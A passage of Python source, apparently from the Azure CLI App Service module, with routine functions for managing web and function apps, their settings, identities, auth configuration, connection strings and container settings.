scm_is_up_to_date = validate_app_settings_in_scm(
cmd, resource_group_name, name, slot,
should_contain=app_settings_should_contain,
should_not_have=app_settings_should_not_have)
retries -= 1
time.sleep(5)
if retries < 0:
logger.warning("App settings may not be propagated to the SCM site.")
def remove_remote_build_app_settings(cmd, resource_group_name, name, slot):
settings = get_app_settings(cmd, resource_group_name, name, slot)
scm_do_build_during_deployment = None
app_settings_should_contain = {}
for keyval in settings:
value = keyval['value'].lower()
if keyval['name'] == 'SCM_DO_BUILD_DURING_DEPLOYMENT':
scm_do_build_during_deployment = value in ('true', '1')
if scm_do_build_during_deployment is not False:
logger.warning("Setting SCM_DO_BUILD_DURING_DEPLOYMENT to false")
update_app_settings(cmd, resource_group_name, name, [
"SCM_DO_BUILD_DURING_DEPLOYMENT=false"
], slot)
app_settings_should_contain['SCM_DO_BUILD_DURING_DEPLOYMENT'] = 'false'
# Wait for scm site to get the latest app settings
if app_settings_should_contain:
logger.warning("Waiting SCM site to be updated with the latest app settings")
scm_is_up_to_date = False
retries = 10
while not scm_is_up_to_date and retries >= 0:
scm_is_up_to_date = validate_app_settings_in_scm(
cmd, resource_group_name, name, slot,
should_contain=app_settings_should_contain)
retries -= 1
time.sleep(5)
if retries < 0:
logger.warning("App settings may not be propagated to the SCM site")
def upload_zip_to_storage(cmd, resource_group_name, name, src, slot=None):
settings = get_app_settings(cmd, resource_group_name, name, slot)
storage_connection = None
for keyval in settings:
if keyval['name'] == 'AzureWebJobsStorage':
storage_connection = str(keyval['value'])
if storage_connection is None:
raise CLIError('Could not find a \'AzureWebJobsStorage\' application setting')
container_name = "function-releases"
blob_name = "{}-{}.zip".format(datetime.datetime.today().strftime('%Y%m%d%H%M%S'), str(uuid.uuid4()))
BlockBlobService = get_sdk(cmd.cli_ctx, ResourceType.DATA_STORAGE, 'blob#BlockBlobService')
block_blob_service = BlockBlobService(connection_string=storage_connection)
if not block_blob_service.exists(container_name):
block_blob_service.create_container(container_name)
# https://gist.github.com/vladignatyev/06860ec2040cb497f0f3
def progress_callback(current, total):
total_length = 30
filled_length = int(round(total_length * current) / float(total))
percents = round(100.0 * current / float(total), 1)
progress_bar = '=' * filled_length + '-' * (total_length - filled_length)
progress_message = 'Uploading {} {}%'.format(progress_bar, percents)
cmd.cli_ctx.get_progress_controller().add(message=progress_message)
block_blob_service.create_blob_from_path(container_name, blob_name, src, validate_content=True,
progress_callback=progress_callback)
now = datetime.datetime.utcnow()
blob_start = now - datetime.timedelta(minutes=10)
blob_end = now + datetime.timedelta(weeks=520)
BlobPermissions = get_sdk(cmd.cli_ctx, ResourceType.DATA_STORAGE, 'blob#BlobPermissions')
blob_token = block_blob_service.generate_blob_shared_access_signature(container_name,
blob_name,
permission=BlobPermissions(read=True),
expiry=blob_end,
start=blob_start)
blob_uri = block_blob_service.make_blob_url(container_name, blob_name, sas_token=blob_token)
website_run_from_setting = "WEBSITE_RUN_FROM_PACKAGE={}".format(blob_uri)
update_app_settings(cmd, resource_group_name, name, settings=[website_run_from_setting])
client = web_client_factory(cmd.cli_ctx)
try:
logger.info('\nSyncing Triggers...')
if slot is not None:
client.web_apps.sync_function_triggers_slot(resource_group_name, name, slot)
else:
client.web_apps.sync_function_triggers(resource_group_name, name)
except CloudError as ex:
# This SDK function throws an error if Status Code is 200
if ex.status_code != 200:
raise ex
except Exception as ex: # pylint: disable=broad-except
if ex.response.status_code != 200:
raise ex
def show_webapp(cmd, resource_group_name, name, slot=None):
return _show_app(cmd, resource_group_name, name, "webapp", slot)
# for generic updater
def get_webapp(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
def set_webapp(cmd, resource_group_name, name, slot=None, skip_dns_registration=None, # pylint: disable=unused-argument
skip_custom_domain_verification=None, force_dns_registration=None, ttl_in_seconds=None, **kwargs): # pylint: disable=unused-argument
instance = kwargs['parameters']
client = web_client_factory(cmd.cli_ctx)
updater = client.web_apps.begin_create_or_update_slot if slot else client.web_apps.begin_create_or_update
kwargs = dict(resource_group_name=resource_group_name, name=name, site_envelope=instance)
if slot:
kwargs['slot'] = slot
return updater(**kwargs)
def update_webapp(instance, client_affinity_enabled=None, https_only=None):
if 'function' in instance.kind:
raise CLIError("please use 'az functionapp update' to update this function app")
if client_affinity_enabled is not None:
instance.client_affinity_enabled = client_affinity_enabled == 'true'
if https_only is not None:
instance.https_only = https_only == 'true'
return instance
def update_functionapp(cmd, instance, plan=None, force=False):
client = web_client_factory(cmd.cli_ctx)
if plan is not None:
if is_valid_resource_id(plan):
dest_parse_result = parse_resource_id(plan)
dest_plan_info = client.app_service_plans.get(dest_parse_result['resource_group'],
dest_parse_result['name'])
else:
dest_plan_info = client.app_service_plans.get(instance.resource_group, plan)
if dest_plan_info is None:
raise ResourceNotFoundError("The plan '{}' doesn't exist".format(plan))
validate_plan_switch_compatibility(cmd, client, instance, dest_plan_info, force)
instance.server_farm_id = dest_plan_info.id
return instance
def validate_plan_switch_compatibility(cmd, client, src_functionapp_instance, dest_plan_instance, force):
general_switch_msg = 'Currently the switch is only allowed between a Consumption or an Elastic Premium plan.'
src_parse_result = parse_resource_id(src_functionapp_instance.server_farm_id)
src_plan_info = client.app_service_plans.get(src_parse_result['resource_group'],
src_parse_result['name'])
if src_plan_info is None:
raise ResourceNotFoundError('Could not determine the current plan of the functionapp')
# Ensure all plans involved are windows. Reserved = true indicates Linux.
if src_plan_info.reserved or dest_plan_instance.reserved:
raise ValidationError('This feature currently supports windows to windows plan migrations. For other '
'migrations, please redeploy.')
src_is_premium = is_plan_elastic_premium(cmd, src_plan_info)
dest_is_consumption = is_plan_consumption(cmd, dest_plan_instance)
if not (is_plan_consumption(cmd, src_plan_info) or src_is_premium):
raise ValidationError('Your functionapp is not using a Consumption or an Elastic Premium plan. ' +
general_switch_msg)
if not (dest_is_consumption or is_plan_elastic_premium(cmd, dest_plan_instance)):
raise ValidationError('You are trying to move to a plan that is not a Consumption or an '
'Elastic Premium plan. ' +
general_switch_msg)
if src_is_premium and dest_is_consumption:
logger.warning('WARNING: Moving a functionapp from Premium to Consumption might result in loss of '
'functionality and cause the app to break. Please ensure the functionapp is compatible '
'with a Consumption plan and is not using any features only available in Premium.')
if not force:
raise RequiredArgumentMissingError('If you want to migrate a functionapp from a Premium to Consumption '
'plan, please re-run this command with the \'--force\' flag.')
def set_functionapp(cmd, resource_group_name, name, **kwargs):
instance = kwargs['parameters']
client = web_client_factory(cmd.cli_ctx)
return client.web_apps.begin_create_or_update(resource_group_name, name, site_envelope=instance)
def get_functionapp(cmd, resource_group_name, name, slot=None):
function_app = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
if not function_app or 'function' not in function_app.kind:
raise ResourceNotFoundError("Unable to find App {} in resource group {}".format(name, resource_group_name))
return function_app
def show_functionapp(cmd, resource_group_name, name, slot=None):
return _show_app(cmd, resource_group_name, name, 'functionapp', slot)
def list_webapp(cmd, resource_group_name=None):
full_list = _list_app(cmd.cli_ctx, resource_group_name)
# ignore apps with kind==null & not functions apps
return list(filter(lambda x: x.kind is not None and "function" not in x.kind.lower(), full_list))
def list_deleted_webapp(cmd, resource_group_name=None, name=None, slot=None):
result = _list_deleted_app(cmd.cli_ctx, resource_group_name, name, slot)
return sorted(result, key=lambda site: site.deleted_site_id)
def restore_deleted_webapp(cmd, deleted_id, resource_group_name, name, slot=None, restore_content_only=None):
DeletedAppRestoreRequest = cmd.get_models('DeletedAppRestoreRequest')
request = DeletedAppRestoreRequest(deleted_site_id=deleted_id, recover_configuration=not restore_content_only)
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'begin_restore_from_deleted_app',
slot, request)
def list_function_app(cmd, resource_group_name=None):
return list(filter(lambda x: x.kind is not None and "function" in x.kind.lower(),
_list_app(cmd.cli_ctx, resource_group_name)))
def _show_app(cmd, resource_group_name, name, cmd_app_type, slot=None):
app = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
if not app:
raise ResourceNotFoundError("Unable to find {} '{}', in RG '{}'.".format(
cmd_app_type, name, resource_group_name))
app_type = _kind_to_app_type(app.kind) if app else None
if app_type != cmd_app_type:
raise ResourceNotFoundError(
"Unable to find {app_type} '{name}', in resource group '{resource_group}'".format(
app_type=cmd_app_type, name=name, resource_group=resource_group_name),
"Use 'az {app_type} show' to show {app_type}s".format(app_type=app_type))
app.site_config = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get_configuration', slot)
_rename_server_farm_props(app)
_fill_ftp_publishing_url(cmd, app, resource_group_name, name, slot)
return app
def _kind_to_app_type(kind):
if "workflow" in kind:
return "logicapp"
if "function" in kind:
return "functionapp"
return "webapp"
def _list_app(cli_ctx, resource_group_name=None):
client = web_client_factory(cli_ctx)
if resource_group_name:
result = list(client.web_apps.list_by_resource_group(resource_group_name))
else:
result = list(client.web_apps.list())
for webapp in result:
_rename_server_farm_props(webapp)
return result
def _list_deleted_app(cli_ctx, resource_group_name=None, name=None, slot=None):
client = web_client_factory(cli_ctx)
locations = _get_deleted_apps_locations(cli_ctx)
result = []
for location in locations:
result = result + list(client.deleted_web_apps.list_by_location(location))
if resource_group_name:
result = [r for r in result if r.resource_group == resource_group_name]
if name:
result = [r for r in result if r.deleted_site_name.lower() == name.lower()]
if slot:
result = [r for r in result if r.slot.lower() == slot.lower()]
return result
def _build_identities_info(identities):
from ._appservice_utils import MSI_LOCAL_ID
identities = identities or []
identity_types = []
if not identities or MSI_LOCAL_ID in identities:
identity_types.append('SystemAssigned')
external_identities = [x for x in identities if x != MSI_LOCAL_ID]
if external_identities:
identity_types.append('UserAssigned')
identity_types = ','.join(identity_types)
info = {'type': identity_types}
if external_identities:
info['userAssignedIdentities'] = {e: {} for e in external_identities}
return (info, identity_types, external_identities, 'SystemAssigned' in identity_types)
def assign_identity(cmd, resource_group_name, name, assign_identities=None, role='Contributor', slot=None, scope=None):
ManagedServiceIdentity, ResourceIdentityType = cmd.get_models('ManagedServiceIdentity',
'ManagedServiceIdentityType')
UserAssignedIdentitiesValue = cmd.get_models('Components1Jq1T4ISchemasManagedserviceidentityPropertiesUserassignedidentitiesAdditionalproperties') # pylint: disable=line-too-long
_, _, external_identities, enable_local_identity = _build_identities_info(assign_identities)
def getter():
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
def setter(webapp):
if webapp.identity and webapp.identity.type == ResourceIdentityType.system_assigned_user_assigned:
identity_types = ResourceIdentityType.system_assigned_user_assigned
elif webapp.identity and webapp.identity.type == ResourceIdentityType.system_assigned and external_identities:
identity_types = ResourceIdentityType.system_assigned_user_assigned
elif webapp.identity and webapp.identity.type == ResourceIdentityType.user_assigned and enable_local_identity:
identity_types = ResourceIdentityType.system_assigned_user_assigned
elif external_identities and enable_local_identity:
identity_types = ResourceIdentityType.system_assigned_user_assigned
elif external_identities:
identity_types = ResourceIdentityType.user_assigned
else:
identity_types = ResourceIdentityType.system_assigned
if webapp.identity:
webapp.identity.type = identity_types
else:
webapp.identity = ManagedServiceIdentity(type=identity_types)
if external_identities:
if not webapp.identity.user_assigned_identities:
webapp.identity.user_assigned_identities = {}
for identity in external_identities:
webapp.identity.user_assigned_identities[identity] = UserAssignedIdentitiesValue()
poller = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'begin_create_or_update',
extra_parameter=webapp, slot=slot)
return LongRunningOperation(cmd.cli_ctx)(poller)
from azure.cli.core.commands.arm import assign_identity as _assign_identity
webapp = _assign_identity(cmd.cli_ctx, getter, setter, role, scope)
return webapp.identity
def show_identity(cmd, resource_group_name, name, slot=None):
web_app = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
if not web_app:
raise ResourceNotFoundError("Unable to find App {} in resource group {}".format(name, resource_group_name))
return web_app.identity
def remove_identity(cmd, resource_group_name, name, remove_identities=None, slot=None):
IdentityType = cmd.get_models('ManagedServiceIdentityType')
UserAssignedIdentitiesValue = cmd.get_models('Components1Jq1T4ISchemasManagedserviceidentityPropertiesUserassignedidentitiesAdditionalproperties') # pylint: disable=line-too-long
_, _, external_identities, remove_local_identity = _build_identities_info(remove_identities)
def getter():
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get', slot)
def setter(webapp):
if webapp.identity is None:
return webapp
to_remove = []
existing_identities = {x.lower() for x in list((webapp.identity.user_assigned_identities or {}).keys())}
if external_identities:
to_remove = {x.lower() for x in external_identities}
non_existing = to_remove.difference(existing_identities)
if non_existing:
raise CLIError("'{}' are not associated with '{}'".format(','.join(non_existing), name))
if not list(existing_identities - to_remove):
if webapp.identity.type == IdentityType.user_assigned:
webapp.identity.type = IdentityType.none
elif webapp.identity.type == IdentityType.system_assigned_user_assigned:
webapp.identity.type = IdentityType.system_assigned
webapp.identity.user_assigned_identities = None
if remove_local_identity:
webapp.identity.type = (IdentityType.none
if webapp.identity.type == IdentityType.system_assigned or
webapp.identity.type == IdentityType.none
else IdentityType.user_assigned)
if webapp.identity.type not in [IdentityType.none, IdentityType.system_assigned]:
webapp.identity.user_assigned_identities = {}
if to_remove:
for identity in list(existing_identities - to_remove):
webapp.identity.user_assigned_identities[identity] = UserAssignedIdentitiesValue()
else:
for identity in list(existing_identities):
webapp.identity.user_assigned_identities[identity] = UserAssignedIdentitiesValue()
poller = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'begin_create_or_update', slot, webapp)
return LongRunningOperation(cmd.cli_ctx)(poller)
from azure.cli.core.commands.arm import assign_identity as _assign_identity
webapp = _assign_identity(cmd.cli_ctx, getter, setter)
return webapp.identity
def get_auth_settings(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get_auth_settings', slot)
def is_auth_runtime_version_valid(runtime_version=None):
if runtime_version is None:
return True
if runtime_version.startswith("~") and len(runtime_version) > 1:
try:
int(runtime_version[1:])
except ValueError:
return False
return True
split_versions = runtime_version.split('.')
if len(split_versions) != 3:
return False
for version in split_versions:
try:
int(version)
except ValueError:
return False
return True
def update_auth_settings(cmd, resource_group_name, name, enabled=None, action=None, # pylint: disable=unused-argument
client_id=None, token_store_enabled=None, runtime_version=None, # pylint: disable=unused-argument
token_refresh_extension_hours=None, # pylint: disable=unused-argument
allowed_external_redirect_urls=None, client_secret=None, # pylint: disable=unused-argument
client_secret_certificate_thumbprint=None, # pylint: disable=unused-argument
allowed_audiences=None, issuer=None, facebook_app_id=None, # pylint: disable=unused-argument
facebook_app_secret=None, facebook_oauth_scopes=None, # pylint: disable=unused-argument
twitter_consumer_key=None, twitter_consumer_secret=None, # pylint: disable=unused-argument
google_client_id=None, google_client_secret=None, # pylint: disable=unused-argument
google_oauth_scopes=None, microsoft_account_client_id=None, # pylint: disable=unused-argument
microsoft_account_client_secret=None, # pylint: disable=unused-argument
microsoft_account_oauth_scopes=None, slot=None): # pylint: disable=unused-argument
auth_settings = get_auth_settings(cmd, resource_group_name, name, slot)
UnauthenticatedClientAction = cmd.get_models('UnauthenticatedClientAction')
if action == 'AllowAnonymous':
auth_settings.unauthenticated_client_action = UnauthenticatedClientAction.allow_anonymous
elif action:
auth_settings.unauthenticated_client_action = UnauthenticatedClientAction.redirect_to_login_page
auth_settings.default_provider = AUTH_TYPES[action]
# validate runtime version
if not is_auth_runtime_version_valid(runtime_version):
raise CLIError('Usage Error: --runtime-version set to invalid value')
import inspect
frame = inspect.currentframe()
bool_flags = ['enabled', 'token_store_enabled']
# note: getargvalues is used already in azure.cli.core.commands.
# and no simple functional replacement for this deprecating method for 3.5
args, _, _, values = inspect.getargvalues(frame) # pylint: disable=deprecated-method
for arg in args[2:]:
if values.get(arg, None):
setattr(auth_settings, arg, values[arg] if arg not in bool_flags else values[arg] == 'true')
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_auth_settings', slot, auth_settings)
def list_instances(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_instance_identifiers', slot)
# Currently using hardcoded values instead of this function. This function calls the stacks API;
# Stacks API is updated with Antares deployments,
# which are infrequent and don't line up with stacks EOL schedule.
def list_runtimes(cmd, linux=False):
client = web_client_factory(cmd.cli_ctx)
runtime_helper = _StackRuntimeHelper(cmd=cmd, client=client, linux=linux)
return [s['displayName'] for s in runtime_helper.stacks]
def list_runtimes_hardcoded(linux=False):
if linux:
return [s['displayName'] for s in get_file_json(RUNTIME_STACKS)['linux']]
return [s['displayName'] for s in get_file_json(RUNTIME_STACKS)['windows']]
def delete_function_app(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'delete', slot)
def delete_webapp(cmd, resource_group_name, name, keep_metrics=None, keep_empty_plan=None,
keep_dns_registration=None, slot=None): # pylint: disable=unused-argument
client = web_client_factory(cmd.cli_ctx)
if slot:
client.web_apps.delete_slot(resource_group_name, name, slot,
delete_metrics=False if keep_metrics else None,
delete_empty_server_farm=False if keep_empty_plan else None)
else:
client.web_apps.delete(resource_group_name, name,
delete_metrics=False if keep_metrics else None,
delete_empty_server_farm=False if keep_empty_plan else None)
def stop_webapp(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'stop', slot)
def start_webapp(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'start', slot)
def restart_webapp(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'restart', slot)
def get_site_configs(cmd, resource_group_name, name, slot=None):
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'get_configuration', slot)
def get_app_settings(cmd, resource_group_name, name, slot=None):
result = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_application_settings', slot)
client = web_client_factory(cmd.cli_ctx)
slot_app_setting_names = client.web_apps.list_slot_configuration_names(resource_group_name, name).app_setting_names
return _build_app_settings_output(result.properties, slot_app_setting_names)
# Check if the app setting is propagated to the Kudu site correctly by calling api/settings endpoint
# should_have [] is a list of app settings which are expected to be set
# should_not_have [] is a list of app settings which are expected to be absent
# should_contain {} is a dictionary of app settings which are expected to be set with precise values
# Return True if validation succeeded
def validate_app_settings_in_scm(cmd, resource_group_name, name, slot=None,
should_have=None, should_not_have=None, should_contain=None):
scm_settings = _get_app_settings_from_scm(cmd, resource_group_name, name, slot)
scm_setting_keys = set(scm_settings.keys())
if should_have and not set(should_have).issubset(scm_setting_keys):
return False
if should_not_have and set(should_not_have).intersection(scm_setting_keys):
return False
temp_setting = scm_settings.copy()
temp_setting.update(should_contain or {})
if temp_setting != scm_settings:
return False
return True
@retryable_method(3, 5)
def _get_app_settings_from_scm(cmd, resource_group_name, name, slot=None):
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
settings_url = '{}/api/settings'.format(scm_url)
username, password = _get_site_credential(cmd.cli_ctx, resource_group_name, name, slot)
headers = {
'Content-Type': 'application/octet-stream',
'Cache-Control': 'no-cache',
'User-Agent': get_az_user_agent()
}
import requests
response = requests.get(settings_url, headers=headers, auth=(username, password), timeout=3)
return response.json() or {}
def get_connection_strings(cmd, resource_group_name, name, slot=None):
result = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_connection_strings', slot)
client = web_client_factory(cmd.cli_ctx)
slot_constr_names = client.web_apps.list_slot_configuration_names(resource_group_name, name) \
.connection_string_names or []
result = [{'name': p,
'value': result.properties[p].value,
'type':result.properties[p].type,
'slotSetting': p in slot_constr_names} for p in result.properties]
return result
def get_azure_storage_accounts(cmd, resource_group_name, name, slot=None):
client = web_client_factory(cmd.cli_ctx)
result = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_azure_storage_accounts', slot)
slot_azure_storage_config_names = client.web_apps.list_slot_configuration_names(resource_group_name, name) \
.azure_storage_config_names or []
return [{'name': p,
'value': result.properties[p],
'slotSetting': p in slot_azure_storage_config_names} for p in result.properties]
def _fill_ftp_publishing_url(cmd, webapp, resource_group_name, name, slot=None):
profiles = list_publish_profiles(cmd, resource_group_name, name, slot)
try:
url = next(p['publishUrl'] for p in profiles if p['publishMethod'] == 'FTP')
setattr(webapp, 'ftpPublishingUrl', url)
except StopIteration:
pass
return webapp
def _format_fx_version(custom_image_name, container_config_type=None):
lower_custom_image_name = custom_image_name.lower()
if "https://" in lower_custom_image_name or "http://" in lower_custom_image_name:
custom_image_name = lower_custom_image_name.replace("https://", "").replace("http://", "")
fx_version = custom_image_name.strip()
fx_version_lower = fx_version.lower()
# handles case of only spaces
if fx_version:
if container_config_type:
fx_version = '{}|{}'.format(container_config_type, custom_image_name)
elif not fx_version_lower.startswith('docker|'):
fx_version = '{}|{}'.format('DOCKER', custom_image_name)
else:
fx_version = ' '
return fx_version
def _add_fx_version(cmd, resource_group_name, name, custom_image_name, slot=None):
fx_version = _format_fx_version(custom_image_name)
web_app = get_webapp(cmd, resource_group_name, name, slot)
if not web_app:
raise CLIError("'{}' app doesn't exist in resource group {}".format(name, resource_group_name))
linux_fx = fx_version if (web_app.reserved or not web_app.is_xenon) else None
windows_fx = fx_version if web_app.is_xenon else None
return update_site_configs(cmd, resource_group_name, name,
linux_fx_version=linux_fx, windows_fx_version=windows_fx, slot=slot)
def _delete_linux_fx_version(cmd, resource_group_name, name, slot=None):
return update_site_configs(cmd, resource_group_name, name, linux_fx_version=' ', slot=slot)
def _get_fx_version(cmd, resource_group_name, name, slot=None):
site_config = get_site_configs(cmd, resource_group_name, name, slot)
return site_config.linux_fx_version or site_config.windows_fx_version or ''
def url_validator(url):
try:
result = urlparse(url)
return all([result.scheme, result.netloc, result.path])
except ValueError:
return False
def _get_linux_multicontainer_decoded_config(cmd, resource_group_name, name, slot=None):
from base64 import b64decode
linux_fx_version = _get_fx_version(cmd, resource_group_name, name, slot)
if not any(linux_fx_version.startswith(s) for s in MULTI_CONTAINER_TYPES):
raise CLIError("Cannot decode config that is not one of the"
" following types: {}".format(','.join(MULTI_CONTAINER_TYPES)))
return b64decode(linux_fx_version.split('|')[1].encode('utf-8'))
def _get_linux_multicontainer_encoded_config_from_file(file_name):
from base64 import b64encode
config_file_bytes = None
if url_validator(file_name):
response = urlopen(file_name, context=_ssl_context())
config_file_bytes = response.read()
else:
with open(file_name, 'rb') as f:
config_file_bytes = f.read()
# Decode base64 encoded byte array into string
return b64encode(config_file_bytes).decode('utf-8')
# for any modifications to the non-optional parameters, adjust the reflection logic accordingly
# in the method
# pylint: disable=unused-argument
def update_site_configs(cmd, resource_group_name, name, slot=None, number_of_workers=None, linux_fx_version=None,
windows_fx_version=None, pre_warmed_instance_count=None, php_version=None,
python_version=None, net_framework_version=None,
java_version=None, java_container=None, java_container_version=None,
remote_debugging_enabled=None, web_sockets_enabled=None,
always_on=None, auto_heal_enabled=None,
use32_bit_worker_process=None,
min_tls_version=None,
http20_enabled=None,
app_command_line=None,
ftps_state=None,
vnet_route_all_enabled=None,
generic_configurations=None):
configs = get_site_configs(cmd, resource_group_name, name, slot)
if number_of_workers is not None:
number_of_workers = validate_range_of_int_flag('--number-of-workers', number_of_workers, min_val=0, max_val=20)
if linux_fx_version:
if linux_fx_version.strip().lower().startswith('docker|'):
update_app_settings(cmd, resource_group_name, name, ["WEBSITES_ENABLE_APP_SERVICE_STORAGE=false"])
else:
delete_app_settings(cmd, resource_group_name, name, ["WEBSITES_ENABLE_APP_SERVICE_STORAGE"])
if pre_warmed_instance_count is not None:
pre_warmed_instance_count = validate_range_of_int_flag('--prewarmed-instance-count', pre_warmed_instance_count,
min_val=0, max_val=20)
import inspect
frame = inspect.currentframe()
bool_flags = ['remote_debugging_enabled', 'web_sockets_enabled', 'always_on',
'auto_heal_enabled', 'use32_bit_worker_process', 'http20_enabled', 'vnet_route_all_enabled']
int_flags = ['pre_warmed_instance_count', 'number_of_workers']
# note: getargvalues is used already in azure.cli.core.commands.
# and no simple functional replacement for this deprecating method for 3.5
args, _, _, values = inspect.getargvalues(frame) # pylint: disable=deprecated-method
for arg in args[3:]:
if arg in int_flags and values[arg] is not None:
values[arg] = validate_and_convert_to_int(arg, values[arg])
if arg != 'generic_configurations' and values.get(arg, None):
setattr(configs, arg, values[arg] if arg not in bool_flags else values[arg] == 'true')
generic_configurations = generic_configurations or []
# https://github.com/Azure/azure-cli/issues/14857
updating_ip_security_restrictions = False
result = {}
for s in generic_configurations:
try:
json_object = get_json_object(s)
for config_name in json_object:
if config_name.lower() == 'ip_security_restrictions':
updating_ip_security_restrictions = True
result.update(json_object)
except CLIError:
config_name, value = s.split('=', 1)
result[config_name] = value
for config_name, value in result.items():
if config_name.lower() == 'ip_security_restrictions':
updating_ip_security_restrictions = True
setattr(configs, config_name, value)
if not updating_ip_security_restrictions:
setattr(configs, 'ip_security_restrictions', None)
setattr(configs, 'scm_ip_security_restrictions', None)
return _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'update_configuration', slot, configs)
def delete_app_settings(cmd, resource_group_name, name, setting_names, slot=None):
app_settings = _generic_site_operation(cmd.cli_ctx, resource_group_name, name, 'list_application_settings', slot)
client = web_client_factory(cmd.cli_ctx)
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
is_slot_settings = False
for setting_name in setting_names:
app_settings.properties.pop(setting_name, None)
if slot_cfg_names.app_setting_names and setting_name in slot_cfg_names.app_setting_names:
slot_cfg_names.app_setting_names.remove(setting_name)
is_slot_settings = True
if is_slot_settings:
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_application_settings',
app_settings, slot, client)
return _build_app_settings_output(result.properties, slot_cfg_names.app_setting_names)
def delete_azure_storage_accounts(cmd, resource_group_name, name, custom_id, slot=None):
azure_storage_accounts = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_azure_storage_accounts', slot)
client = web_client_factory(cmd.cli_ctx)
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
is_slot_settings = False
azure_storage_accounts.properties.pop(custom_id, None)
if slot_cfg_names.azure_storage_config_names and custom_id in slot_cfg_names.azure_storage_config_names:
slot_cfg_names.azure_storage_config_names.remove(custom_id)
is_slot_settings = True
if is_slot_settings:
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_azure_storage_accounts', azure_storage_accounts,
slot, client)
return result.properties
def _ssl_context():
if sys.version_info < (3, 4) or (in_cloud_console() and sys.platform.system() == 'Windows'):
try:
return ssl.SSLContext(ssl.PROTOCOL_TLS) # added in python 2.7.13 and 3.6
except AttributeError:
return ssl.SSLContext(ssl.PROTOCOL_TLSv1)
return ssl.create_default_context()
def _build_app_settings_output(app_settings, slot_cfg_names):
slot_cfg_names = slot_cfg_names or []
return [{'name': p,
'value': app_settings[p],
'slotSetting': p in slot_cfg_names} for p in _mask_creds_related_appsettings(app_settings)]
def update_connection_strings(cmd, resource_group_name, name, connection_string_type,
settings=None, slot=None, slot_settings=None):
from azure.mgmt.web.models import ConnStringValueTypePair
if not settings and not slot_settings:
raise CLIError('Usage Error: --settings |--slot-settings')
settings = settings or []
slot_settings = slot_settings or []
conn_strings = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_connection_strings', slot)
for name_value in settings + slot_settings:
# split at the first '=', connection string should not have '=' in the name
conn_string_name, value = name_value.split('=', 1)
if value[0] in ["'", '"']: # strip away the quots used as separators
value = value[1:-1]
conn_strings.properties[conn_string_name] = ConnStringValueTypePair(value=value,
type=connection_string_type)
client = web_client_factory(cmd.cli_ctx)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_connection_strings',
conn_strings, slot, client)
if slot_settings:
new_slot_setting_names = [n.split('=', 1)[0] for n in slot_settings]
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
slot_cfg_names.connection_string_names = slot_cfg_names.connection_string_names or []
slot_cfg_names.connection_string_names += new_slot_setting_names
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
return result.properties
def delete_connection_strings(cmd, resource_group_name, name, setting_names, slot=None):
conn_strings = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_connection_strings', slot)
client = web_client_factory(cmd.cli_ctx)
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
is_slot_settings = False
for setting_name in setting_names:
conn_strings.properties.pop(setting_name, None)
if slot_cfg_names.connection_string_names and setting_name in slot_cfg_names.connection_string_names:
slot_cfg_names.connection_string_names.remove(setting_name)
is_slot_settings = True
if is_slot_settings:
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
return _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_connection_strings',
conn_strings, slot, client)
CONTAINER_APPSETTING_NAMES = ['DOCKER_REGISTRY_SERVER_URL', 'DOCKER_REGISTRY_SERVER_USERNAME',
'DOCKER_REGISTRY_SERVER_PASSWORD', "WEBSITES_ENABLE_APP_SERVICE_STORAGE"]
APPSETTINGS_TO_MASK = ['DOCKER_REGISTRY_SERVER_PASSWORD']
def update_container_settings(cmd, resource_group_name, name, docker_registry_server_url=None,
docker_custom_image_name=None, docker_registry_server_user=None,
websites_enable_app_service_storage=None, docker_registry_server_password=None,
multicontainer_config_type=None, multicontainer_config_file=None, slot=None):
settings = []
if docker_registry_server_url is not None:
settings.append('DOCKER_REGISTRY_SERVER_URL=' + docker_registry_server_url)
if (not docker_registry_server_user and not docker_registry_server_password and
docker_registry_server_url and '.azurecr.io' in docker_registry_server_url):
logger.warning('No credential was provided to access Azure Container Registry. Trying to look up...')
parsed = urlparse(docker_registry_server_url)
